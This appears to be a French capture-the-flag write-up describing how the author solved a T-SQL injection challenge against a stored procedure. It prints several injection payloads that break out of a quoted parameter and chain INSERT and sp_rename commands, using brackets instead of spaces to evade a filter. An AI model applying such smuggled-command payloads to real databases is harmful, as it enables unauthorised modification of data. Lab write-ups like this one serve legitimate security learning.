J’ai demandé à ChatGPT toutes les façons d’insérer des données en TSQL. Il m’a proposé « MERGE », « UPDATE OUTPUT » et bien d’autres méthodes que j’ai essayées. L’une de mes tentatives les plus proches du but était:
exec challenge ‘GiveMeFlagPlease’‘as[a]into[#temp]update[#temp]set[a]=[a]output(inserted.a)into[#XPvRMOo5qobus8]use[tempdb]exec[sp_rename]’‘#XPvRMOo5qobus8.yY1aX7UuNiC’‘,’‘givemeflagplease’
– Results in this when put in the stored proc select ‘GiveMeFlagPlease’as[a]into[#temp]update[#temp]set[a]=[a]output(inserted.a)into[#XPvRMOo5qobus8]use[tempdb]exec[sp_rename]’#XPvRMOo5qobus8.yY1aX7UuNiC’,‘givemeflagplease’
L’idée était d’utiliser le select pour insérer des données dans une autre table temporaire (nommée « #temp »), puis d’utiliser une instruction « UPDATE…OUTPUT… » pour mettre à jour ces données et diriger la sortie vers la bonne table, afin qu’elles y soient insérées correctement. La tentative a pourtant été rejetée. Voyez-vous pourquoi?
Au fil des nombreuses heures passées sur ce défi, je m’étais construit un validateur pour mes requêtes, et il m’a montré que le « = » exigé par la syntaxe « UPDATE » était rejeté.
J’ai fini par demander de l’aide à Tristan et je lui expliquais le problème du « INSERT INTO » et de l’espace entre les deux mots. J’avais écrit une requête complète valide dans mon éditeur, mais elle comportait l’espace entre « INSERT » et « INTO ». De frustration, j’ai sélectionné le « INTO » et appuyé sur supprimer en lui disant que c’était ce mot qui causait le problème. À ma grande surprise, aucun trait ondulé rouge. Cette syntaxe était valide. Après toutes mes années à écrire du SQL, j’avais toujours écrit INSERT INTO, et j’ai appris que « INTO » est optionnel. La documentation de référence le montre: référence INSERT.
La solution était donc:
exec challenge ‘1’‘insert[#XPvRMOo5qobus8]values(’‘GiveMeFlagPlease’‘)use[tempdb]exec[sp_rename]’‘#XPvRMOo5qobus8.yY1aX7UuNiC’‘,’‘givemeflagplease’
– Results in this when put in the stored proc select ’1’insert[#XPvRMOo5qobus8]values(‘GiveMeFlagPlease’)use[tempdb]exec[sp_rename]’#XPvRMOo5qobus8.yY1aX7UuNiC’,‘givemeflagplease’
Dernier drapeau, valant 7 points!
